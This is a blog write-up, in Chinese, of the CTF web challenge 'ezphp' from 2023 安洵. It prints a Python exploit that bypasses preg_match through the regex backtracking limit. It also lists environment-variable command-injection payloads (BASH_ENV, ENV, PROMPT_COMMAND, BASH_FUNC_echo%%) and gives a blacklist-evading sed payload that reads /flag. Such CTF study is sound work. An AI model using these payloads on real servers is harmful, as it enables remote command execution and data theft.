安洵-exphp

2023安洵 --ezphp

目录

前言

这次的安洵是成都学院办的,只能说依托答辩

要不是手快,题都看不了

后面题做到一半,平台没了,好家伙现在连平台都要我自己搭是吧

题目叫什么已经记不到了,就直接当成ezphp开始做吧

流程

index.php

源码分析

打开就直接获得源码:

error_reporting(0);
highlight_file(__FILE__);

$a = $_POST['heizi'];
if (isset($a)){
    if(substr($a,0,5) == "aikun" and substr($a,-10,10) == "xiaojijiao"){
        if ($a == "aikunxiaojijiao"){
            die("nononono");
        }
        if (preg_match('/aikun.+?xiaojijiao/is',$a)){
            die("Hack!!!");
        }
        system("ls");
    }else{
        die("what?");
    }
}

一眼看过去是一个爱坤,仔细一看实际上是假爱坤(后面会讲)

题目让我们 post一个heizi的表单

要求是 前五个字符aikun后十个字符xiaojijiao

之后不论是中间是否有字符,都直接die掉,而我们的目标就是绕过第二个正则匹配,之后是一个ls的指令。(起初我还傻傻的以为ls后就能直接看到flag了)

绕过preg_match

  1. 关于绕过preg_match第一个想到的是使用换行符来绕过,换行符绕过主要是依靠.不匹配换行符和字符尾加上$是会忽略%0a,但是这个题没办法使用。

  2. 第二个想到的是传入非字符类的数据,,例如数组,然后就会返回false。但是这个题明显不行,第一行检测首尾字符的时候就会给你把数据类型收缩到字符串。

  3. 最后是有发现了一个关于通过回溯次数绕过某些安全限制的文章(P牛的)

    通过对比发现就和这个题很符合,这个题是需要讲aikunxiaojijiao之间的所有内容都进行一次匹配的,这个检查是会受到回溯次数限制的,默认是100万次。

exp

import requests
ip="ip"
port="port"
url = f"http://{ip}:{port}/"
datas = {
    'heizi': 'aikun'+'h'*1000000+'xiaojijiao'
}
res = requests.post(url=url,data=datas,allow_redirects=False)
print(res.text)

#e4eeee4vaa1ll1we44ebf111a4g.php

打通之后就会看到一个e开头的php文件,就是下一步的题了。

说一下遇到的坑:

  1. 首先就是人家靶机是默认回溯次数小于100万次的,你用100万次打的时候,人家是没有回显的,但是你把靶机部署到本地的时候就可以用100万次打通,这个地方坑了我好久,最后使用10万次打通的。
  2. 再就是这个是个假爱坤,明明是ikum,人家非要写个aikun,导致我中间有段时间使用ikun打,打了半天都是返回what?,给我整麻了。

e4eeee4vaa1ll1we44ebf111a4g.php

源码分析

打开就能看到源码:

<?php
error_reporting(0);
highlight_file(__FILE__);

foreach ($_REQUEST['env'] as $key => $value) {
    if (blacklist($value)) {
        putenv("{$key}={$value}");

    }else{
        echo "Hack!!!";
    }
}

system('echo doit');

function blacklist($a){
    if (preg_match('/ls|x|cat|tac|tail|nl|flag|more|less|head|od|vi|sort|rev|paste|file|grep|uniq|\?|\`|\~|\@|\-|\.|\[|\]|\'|\"|\\\\/is', $a) === 0){
        return true;
    }
    else{
        return false;
    }
}

这个题理解很简单

先是一个输入env数组,然后设置成环境变量,之后调用system函数,很明显的环境变量命令注入

之后就是对命令的一下限制,绕过就getflag了

环境变量命令注入

环境变量命令执行有如下几个可用的环境:

  • BASH_ENV:可以在bash -c的时候注入任意命令

    BASH_ENV='$(id 1>&2)' bash -c 'echo hello'
  • ENV:可以在sh -i -c的时候注入任意命令

    ENV='$(id 1>&2)' sh -i -c "echo hello"
    ENV='$(id 1>&2)' dash -i -c 'echo hello'
    
  • PS1:可以在shbash交互式环境下执行任意命令

  • PROMPT_COMMAND:可以在bash交互式环境下执行任意命令

    PROMPT_COMMAND='id' bash
  • BASH_FUNC_xxx%%:可以在bash -csh -c的时候执行任意命令

    env $'BASH_FUNC_myfunc%%=() { id; }' bash -c 'myfunc'
    1.php?env[BASH_FUNC_echo%25%25]=()%20{%20id;%20}

    由于这里缺乏靶机的环境,也不清楚作者是否有其他内容的考察,我就根据p牛的文章,选择了centos8的操作系统,然后搭建了个简单环境(其他几个都试了好久,就这个能用,就搭建出来了[doge]),并写入了/flag文件

    可以发现顺利执行成功

    绕过黑名单

    说起命令执行的黑名单绕过,我首先想到的是pastesort这两个命令,但是很不幸被ban了

    之后我就想到了一个曲线救国的方法,使用提权的date -f来进行读取文件

    但是这个题过滤了-就使得整个方法不能用

    也是由于-被过滤,导致没办法反弹shell

    去网上搜了下关于cat的代替函数,发现大部分都被过滤了,看来还是得找曲线救国的命令才行,最后确实找到了一个非常重要的命令sed

    而且sed的指令可以不用-来引导

    至于过滤flag,人家虽然禁用了? 但是*可以用

    过滤了/可以使用${PATH:0:1}

    最后payload:

    sed p ${PATH:0:1}fla*
    
    ?env[BASH_FUNC_echo%25%25]=()%20{%20sed%20p%20%24%7BPATH%3A0%3A1%7Dfla*;%20}
    

由于这个题最后是放出了sed,所以很有可能是可以直接写入木马的,也就是最后直接rec了

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本站及文章作者不为此承担任何责任。

本站拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经本站允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇